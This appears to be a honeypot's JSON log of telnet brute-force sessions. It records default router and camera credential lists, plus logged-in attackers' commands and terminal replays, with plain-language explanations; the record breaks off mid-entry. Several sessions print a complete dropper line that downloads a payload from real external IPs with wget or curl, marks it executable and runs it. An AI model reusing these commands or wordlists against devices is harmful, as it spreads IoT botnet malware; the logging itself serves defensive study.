{"schema":3,"generated_at":"2026-10-13T08:02:13Z","sessions":[{"id":"33fce2fc6f74","t":"2026-10-13T08:01:58Z","first_t":"2026-10-12T23:15:28Z","repeats":63182,"merged":true,"ip":"103.162.40.28","cc":"PK","proto":"telnet","duration_s":null,"attempts":[{"u":"super","p":"sp-admin","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":true},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"root","p":"070admin","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"klv1234","ok":false},{"u":"super","p":"xJ4pCYeW","ok":false},{"u":"888888","p":"888888","ok":false},{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin","p":"","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"88888888","ok":false},{"u":"admin","p":"a1sev5y7c39k","ok":false},{"u":"admin","p":"admin","ok":false},{"u":"admin","p":"admin1234","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"epicrouter","ok":false},{"u":"administrator","p":"1234","ok":false},{"u":"gpon","p":"gpon","ok":false},{"u":"guest","p":"guest","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"adminpass","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"realtek","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"samsung","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"super","p":"PhrQjGzk","ok":false},{"u":"supervisor","p":"zyad1234","ok":false},{"u":"support","p":"1234","ok":false},{"u":"tech","p":"tech","ok":false},{"u":"telecomadmin","p":"nE7jA%5m","ok":false},{"u":"user","p":"1234","ok":false},{"u":"yhtcAdmin","p":"Cm1@YHfw","ok":false}],"attempt_n":[3,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":63182,"distinct_creds":164,"distinct_users":17,"distinct_passwords":130,"got_shell":true,"shell_sessions":3383,"commands":[">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x57\\x4f\\x53\\x45\\x50\\x45'","config terminal","enable","linuxshell","sh","start","su","system"],"command_n":[2,2,2,2,2,2,2,2],"commands_total":31299,"distinct_commands":12,"narrative":["Asked for a shell 5 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back once ('WOSEPE') to confirm the shell was real and running its commands.","Probed for busybox, which is the shell it expects to find on an embedded device.","Ran 2 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","busybox"],"replay":null,"key":"dd505f759ffe"},{"id":"99a638dc554c","t":"2026-10-13T08:01:58Z","first_t":"2026-10-12T07:58:39Z","repeats":16324,"merged":true,"ip":"221.15.7.14","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"guest","p":"123456","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"12345","ok":false},{"u":"admin","p":"7ujMko0admin","ok":false},{"u":"root","p":"bluehorse","ok":false},{"u":"root","p":"default","ok":false},{"u":"tech","p":"tech","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"123456789","ok":false},{"u":"admin","p":"1234567890","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":true},{"u":"admin","p":"a1sev5y7c39k","ok":false},{"u":"admin","p":"admin","ok":false},{"u":"admin","p":"epicrouter","ok":false},{"u":"admin","p":"smcadmin","ok":false},{"u":"cht","p":"chtsgpon","ok":false},{"u":"cuadmin","p":"cu@Hnunicom","ok":false},{"u":"cunmgadmin","p":"cunmgadmin","ok":false},{"u":"draytek","p":"1234","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"gpon","p":"gpon","ok":false},{"u":"root","p":"00000000","ok":false},{"u":"root","p":"1234","ok":false},{"u":"root","p":"TeleCom_1234","ok":false},{"u":"root","p":"helpme","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"ifconfig","ok":false},{"u":"root","p":"pass","ok":false},{"u":"root","p":"realtek","ok":false},{"u":"root","p":"system","ok":false},{"u":"root","p":"user","ok":false},{"u":"root","p":"vizxv","ok":false},{"u":"root","p":"zte","ok":false},{"u":"ruijie","p":"ruijie","ok":false},{"u":"service","p":"service","ok":false},{"u":"ubnt","p":"ubnt","ok":false},{"u":"user","p":"","ok":false}],"attempt_n":[3,3,3,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":16330,"distinct_creds":164,"distinct_users":16,"distinct_passwords":130,"got_shell":true,"shell_sessions":299,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x4e\\x57\\x43\\x4f\\x49\\x55'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x4e\\x57\\x43\\x4f\\x49\\x55'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://175.147.200.123:48168/i ||curl -O http://175.147.200.123:48168/i ||/bin/busybox wget http://175.147.200.123:48168/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x55\\x58\\x51\\x4c\\x4f\\x54\\x56\\x58'","config terminal","enable","linuxshell","sh","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1,1],"commands_total":3087,"distinct_commands":11,"narrative":["Asked for a shell 5 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('NWCOIU', 'UXQLOTVX') to confirm the shell was real and running its commands.","Tried to download a payload from 175.147.200.123 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":4.45,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# "],[0.267,"start\n-bash: start: command not found\nroot@svr04:~# enable\n-bash: enable: command not found\nroot@svr04:~# config terminal\n-bash: config: command not found\nroot@svr04:~# system\n-bash: system: command not found\nroot@svr04:~# linuxshell\n-bash: linuxshell: command not found\nroot@svr04:~# su\nroot@svr04:~# shell\n-bash: shell: command not found\nroot@svr04:~# sh\n"],[0.308,"root@svr04:~# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x4e\\x57\\x43\\x4f\\x49\\x55'\n"],[0.744,"NWCOIU\nroot@svr04:/var# "],[1.439,"/bin/busybox wget;/bin/busybox echo -ne '\\x4e\\x57\\x43\\x4f\\x49\\x55'\n"],[1.482,"wget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nNWCOIUroot@svr04:/var# "],[1.728,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://175.147.200.123:48168/i ||curl -O http://175.147.200.123:48168/i ||/bin/busybox wget http://175.147.200.123:48168/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&"],[1.771,"rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x55\\x58\\x51\\x4c\\x4f\\x54\\x56\\x58'\n"],[2.061,"--2026-10-11 03:26:15--  http://175.147.200.123:48168/i\nConnecting to 175.147.200.123:48168... connected.\nHTTP request sent, awaiting response... "],[2.601,"\n"],[3.206,"\n--2026-10-11 03:26:16--  http://175.147.200.123:48168/i\nConnecting to 175.147.200.123:48168... connected.\nHTTP request sent, awaiting response... "],[4.117,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nUXQLOTVX\nroot@svr04:/var# "]],"truncated":false},"key":"50162683cd24"},{"id":"8ab5c7e71f3d","t":"2026-10-13T08:01:58Z","first_t":"2026-10-12T07:58:21Z","repeats":17103,"merged":true,"ip":"36.255.34.93","cc":"PK","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"1234horses","ok":false},{"u":"admin","p":"1q2w3e","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"root","p":"12345","ok":false},{"u":"root","p":"2011vesta","ok":false},{"u":"root","p":"Admin","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"666666","p":"666666","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"Manager","p":"friend","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"12345678","ok":false},{"u":"admin","p":"CenturyL1nk","ok":false},{"u":"admin","p":"bayandsl","ok":false},{"u":"admin","p":"chzhdpl","ok":false},{"u":"admin","p":"vnpt","ok":false},{"u":"cuadmin","p":"cu@Hnunicom","ok":false},{"u":"draytek","p":"1234","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"gdcuadmin","p":"gdcuadmin","ok":false},{"u":"guest","p":"12345","ok":false},{"u":"guest","p":"123456","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"070admin","ok":false},{"u":"root","p":"1234567890","ok":false},{"u":"root","p":"20080826","ok":false},{"u":"root","p":"54321","ok":false},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"hme12345","ok":false},{"u":"root","p":"klv1234","ok":false},{"u":"root","p":"realtek","ok":false},{"u":"root","p":"svgodie","ok":false},{"u":"root","p":"system","ok":false},{"u":"root","p":"user","ok":false},{"u":"root","p":"zlxx","ok":false},{"u":"ruijie","p":"ruijie","ok":false},{"u":"super","p":"super","ok":false},{"u":"supervisor","p":"supervisor","ok":false},{"u":"telecomadmin","p":"nE7jA%5m","ok":false}],"attempt_n":[3,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":17107,"distinct_creds":164,"distinct_users":18,"distinct_passwords":130,"got_shell":true,"shell_sessions":313,"commands":[],"command_n":[],"commands_total":3229,"distinct_commands":11,"narrative":[],"tags":[],"replay":null,"key":"dc2dab06a29e"},{"id":"473f02f5235f","t":"2026-10-13T08:01:58Z","first_t":"2026-10-12T11:46:16Z","repeats":9815,"merged":true,"ip":"42.230.54.151","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"Administrator","p":"admin","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"user","ok":false},{"u":"CUAdmin","p":"CUAdmin","ok":false},{"u":"admin","p":"","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"default","p":"default","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"666666","p":"666666","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"54321","ok":false},{"u":"admin","p":"88888888","ok":false},{"u":"admin","p":"gw1admin","ok":false},{"u":"admin","p":"h@32LuyD","ok":false},{"u":"admin","p":"plumeria0077","ok":false},{"u":"admin","p":"smcadmin","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"administrator","p":"1234","ok":false},{"u":"e8ehome","p":"e8ehome","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"guest","p":"12345","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"888888","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"e2008jl","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"klv1234","ok":false},{"u":"root","p":"password","ok":false},{"u":"root","p":"vizxv","ok":false},{"u":"root","p":"xc3511","ok":false},{"u":"root","p":"zte","ok":false},{"u":"supervisor","p":"supervisor","ok":false},{"u":"support","p":"support","ok":false},{"u":"telnet","p":"telnet","ok":false},{"u":"telnetadmin","p":"telnetadmin","ok":false}],"attempt_n":[3,3,3,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":9815,"distinct_creds":99,"distinct_users":16,"distinct_passwords":77,"got_shell":true,"shell_sessions":200,"commands":[],"command_n":[],"commands_total":2103,"distinct_commands":11,"narrative":[],"tags":[],"replay":null,"key":"d2d1a3e7770d"},{"id":"91228f4fbb57","t":"2026-10-13T08:01:58Z","first_t":"2026-10-12T07:58:30Z","repeats":24727,"merged":true,"ip":"203.160.9.182","cc":"AU","proto":"telnet","duration_s":null,"attempts":[{"u":"666666","p":"666666","ok":false},{"u":"root","p":"admin","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"CTLSupport12","ok":false},{"u":"admin","p":"admin","ok":false},{"u":"admin","p":"aquario","ok":false},{"u":"admin","p":"bayandsl","ok":false},{"u":"admin","p":"h@32LuyD","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"klv123","ok":false},{"u":"super","p":"PhrQjGzk","ok":false},{"u":"CMCCAdmin","p":"CMCCAdmin","ok":false},{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin","p":"","ok":false},{"u":"admin","p":"7ujMko0admin","ok":false},{"u":"admin","p":"CenturyL1nk","ok":false},{"u":"admin","p":"epicrouter","ok":false},{"u":"admin","p":"gw1admin","ok":false},{"u":"admin","p":"vnpt","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"guest","p":"123456","ok":false},{"u":"netscreen","p":"netscreen","ok":false},{"u":"root","p":"00000000","ok":false},{"u":"root","p":"070admin","ok":false},{"u":"root","p":"1234","ok":false},{"u":"root","p":"1234horses","ok":false},{"u":"root","p":"7ujMko0admin","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"TeleCom_1234","ok":false},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"dreambox","ok":false},{"u":"root","p":"ifconfig","ok":false},{"u":"root","p":"vizxv","ok":false},{"u":"user","p":"1234","ok":false}],"attempt_n":[3,3,3,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":24731,"distinct_creds":164,"distinct_users":10,"distinct_passwords":130,"got_shell":true,"shell_sessions":481,"commands":[],"command_n":[],"commands_total":5036,"distinct_commands":12,"narrative":[],"tags":[],"replay":null,"key":"0e208fc0870f"},{"id":"06756cd082b6","t":"2026-10-13T08:01:58Z","first_t":"2026-10-12T18:20:13Z","repeats":9947,"merged":true,"ip":"153.117.9.39","cc":"PK","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"xc3511","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"888888","p":"888888","ok":false},{"u":"Admin","p":"Admin","ok":false},{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"1234567890","ok":false},{"u":"admin","p":"1q2w3e","ok":false},{"u":"admin","p":"88888888","ok":false},{"u":"admin","p":"CTLSupport12","ok":false},{"u":"admin","p":"CenturyL1nk","ok":false},{"u":"admin","p":"admin1234","ok":false},{"u":"admin","p":"aquario","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"gw1admin","ok":false},{"u":"admin","p":"ho4uku6at","ok":false},{"u":"admin","p":"meinsm","ok":false},{"u":"admin","p":"qwerty","ok":false},{"u":"cunmgadmin","p":"cunmgadmin","ok":false},{"u":"draytek","p":"1234","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"gdcuadmin","p":"gdcuadmin","ok":false},{"u":"gpon","p":"gpon","ok":false},{"u":"localadmin","p":"localadmin","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"070admin","ok":false},{"u":"root","p":"12345","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"root","p":"20080826","ok":false},{"u":"root","p":"666666","ok":false},{"u":"root","p":"bluehorse","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"svgodie","ok":false},{"u":"root","p":"system","ok":false},{"u":"root","p":"vizxv","ok":false},{"u":"root","p":"xmhdipc","ok":false}],"attempt_n":[2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":9947,"distinct_creds":164,"distinct_users":19,"distinct_passwords":130,"got_shell":true,"shell_sessions":249,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x5a\\x42\\x51\\x4c\\x43\\x52'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x5a\\x42\\x51\\x4c\\x43\\x52'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://115.56.160.116:50789/i ||curl -O http://115.56.160.116:50789/i ||/bin/busybox wget http://115.56.160.116:50789/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x48\\x51\\x49\\x45\\x44\\x5a\\x45\\x44'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1,1,1],"commands_total":2541,"distinct_commands":12,"narrative":["Asked for a shell 6 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('HQIEDZED', 'ZBQLCR') to confirm the shell was real and running its commands.","Tried to download a payload from 115.56.160.116 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":38.62,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nadmin@svr04:~$ "],[4.391,"start\n-bash: start: command not found\nadmin@svr04:~$ enable\n-bash: enable: command not found\nadmin@svr04:~$ config terminal\n-bash: config: command not found\nadmin@svr04:~$ system\n-bash: system: command not found\nadmin@svr04:~$ linuxshell\n-bash: linuxshell: command not found\nadmin@svr04:~$ su\nPassword: "],[4.431,"\n\nroot@svr04:/home# sh\nroot@svr04:/home# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x5a\\x42\\x51\\x4c\\x43\\x52'\n"],[4.954,"ZBQLCR\nroot@svr04:/var# "],[8.383,"/bin/busybox wget;/bin/busybox echo -ne '\\x5a\\x42\\x51\\x4c\\x43\\x52'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nZBQLCRroot@svr04:/var# "],[13.419,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://115.56.160.116:50789/i ||curl -O http://115.56.160.116:50789/i ||/bin/busybox wget http://115.56.160.116:50789/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x48\\x51\\x49\\x45\\x44\\x5a\\x45\\x44'\n"],[13.626,"--2026-10-12 20:13:08--  http://115.56.160.116:50789/i\nConnecting to 115.56.160.116:50789... connected.\nHTTP request sent, awaiting response... "],[21.611,"\n"],[23.723,"\n--2026-10-12 20:13:18--  http://115.56.160.116:50789/i\nConnecting to 115.56.160.116:50789... connected.\nHTTP request sent, awaiting response... "],[28.926,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nHQIEDZED\nroot@svr04:/var# "]],"truncated":false},"key":"ecaa74ce329c"},{"id":"97a2753a517a","t":"2026-10-13T08:01:58Z","first_t":"2026-10-13T03:20:53Z","repeats":6699,"merged":true,"ip":"175.107.3.52","cc":"PK","proto":"telnet","duration_s":null,"attempts":[{"u":"Admin","p":"Admin","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"administrator","p":"1234","ok":false},{"u":"root","p":"1234horses","ok":false},{"u":"root","p":"zlxx","ok":false},{"u":"1234","p":"1234","ok":false},{"u":"666666","p":"666666","ok":false},{"u":"Admin","p":"","ok":true},{"u":"Administrator","p":"admin","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"123456789","ok":false},{"u":"admin","p":"88888888","ok":false},{"u":"admin","p":"adminHW","ok":false},{"u":"admin","p":"bayandsl","ok":false},{"u":"admin","p":"chzhdpl","ok":false},{"u":"admin","p":"ttcn@77CN","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"e8ehome","p":"e8ehome","ok":false},{"u":"gpon","p":"gpon","ok":false},{"u":"operator","p":"operator","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"12345","ok":false},{"u":"root","p":"20080826","ok":false},{"u":"root","p":"25802580","ok":false},{"u":"root","p":"54321","ok":false},{"u":"root","p":"Admin","ok":false},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"admin","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"pass","ok":false},{"u":"root","p":"password","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"xc3511","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"super","p":"PhrQjGzk","ok":false},{"u":"super","p":"super","ok":false},{"u":"supervisor","p":"zyad1234","ok":false}],"attempt_n":[2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":6699,"distinct_creds":164,"distinct_users":17,"distinct_passwords":130,"got_shell":true,"shell_sessions":166,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x4b\\x47\\x53\\x41\\x42\\x41'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x4b\\x47\\x53\\x41\\x42\\x41'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://105.186.241.211:57115/i ||curl -O http://105.186.241.211:57115/i ||/bin/busybox wget http://105.186.241.211:57115/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x41\\x4f\\x52\\x42\\x59\\x46\\x47\\x52'","config terminal","enable","linuxshell","sh","start","su","system","shell"],"command_n":[2,2,2,2,2,2,2,2,2,2,1],"commands_total":1715,"distinct_commands":11,"narrative":["Asked for a shell 6 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('AORBYFGR', 'KGSABA') to confirm the shell was real and running its commands.","Tried to download a payload from 105.186.241.211 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":5.82,"frames":[[0.0,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nadmin@svr04:~$ "],[0.41,"start\n-bash: start: command not found\nadmin@svr04:~$ enable\n-bash: enable: command not found\nadmin@svr04:~$ config terminal\n-bash: config: command not found\nadmin@svr04:~$ system\n-bash: system: command not found\nadmin@svr04:~$ linuxshell\n-bash: linuxshell: command not found\n"],[0.451,"admin@svr04:~$ su\nPassword: \n\nroot@svr04:/home# sh\nroot@svr04:/home# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&c"],[0.491,"d /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x4b\\x47\\x53\\x41\\x42\\x41'\n"],[1.147,"KGSABA\nroot@svr04:/var# "],[2.051,"/bin/busybox wget;/bin/busybox echo -ne '\\x4b\\x47\\x53\\x41\\x42\\x41'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\n"],[2.091,"KGSABAroot@svr04:/var# "],[2.449,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://105.186.241.211:57115/i ||curl -O http://105.186.241.211:57115/i ||/bin/busybox wget http://105.186.241.211:57115/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm "],[2.49,"i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x41\\x4f\\x52\\x42\\x59\\x46\\x47\\x52'\n"],[2.717,"--2026-10-12 12:13:30--  http://105.186.241.211:57115/i\nConnecting to 105.186.241.211:57115... connected.\nHTTP request sent, awaiting response... "],[3.112,"\n"],[4.194,"\n--2026-10-12 12:13:31--  http://105.186.241.211:57115/i\nConnecting to 105.186.241.211:57115... connected.\nHTTP request sent, awaiting response... "],[4.711,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nAORBYFGR\nroot@svr04:/var# "]],"truncated":false},"key":"dfe500f483a6"},{"id":"0cfa06b91f3b","t":"2026-10-13T08:01:58Z","first_t":"2026-10-12T07:58:29Z","repeats":15120,"merged":true,"ip":"94.243.15.214","cc":"RU","proto":"telnet","duration_s":null,"attempts":[{"u":"administrator","p":"1234","ok":false},{"u":"root","p":"samsung","ok":false},{"u":"888888","p":"888888","ok":false},{"u":"admin","p":"h@32LuyD","ok":false},{"u":"admin","p":"ho4uku6at","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"admin","p":"qwerty","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"7ujMko0vizxv","ok":false},{"u":"root","p":"vertex25ektks123","ok":false},{"u":"super","p":"sp-admin","ok":false},{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"default","p":"default","ok":false},{"u":"gpon","p":"gpon","ok":false},{"u":"guest","p":"123456","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"nmgcuadmin","p":"nmgcuadmin","ok":false},{"u":"root","p":"00000000","ok":false},{"u":"root","p":"070admin","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"12345","ok":false},{"u":"root","p":"2010vesta","ok":false},{"u":"root","p":"2011vesta","ok":false},{"u":"root","p":"7ujMko0admin","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"adminpass","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"dreambox","ok":false},{"u":"root","p":"password","ok":false},{"u":"root","p":"user","ok":false},{"u":"super","p":"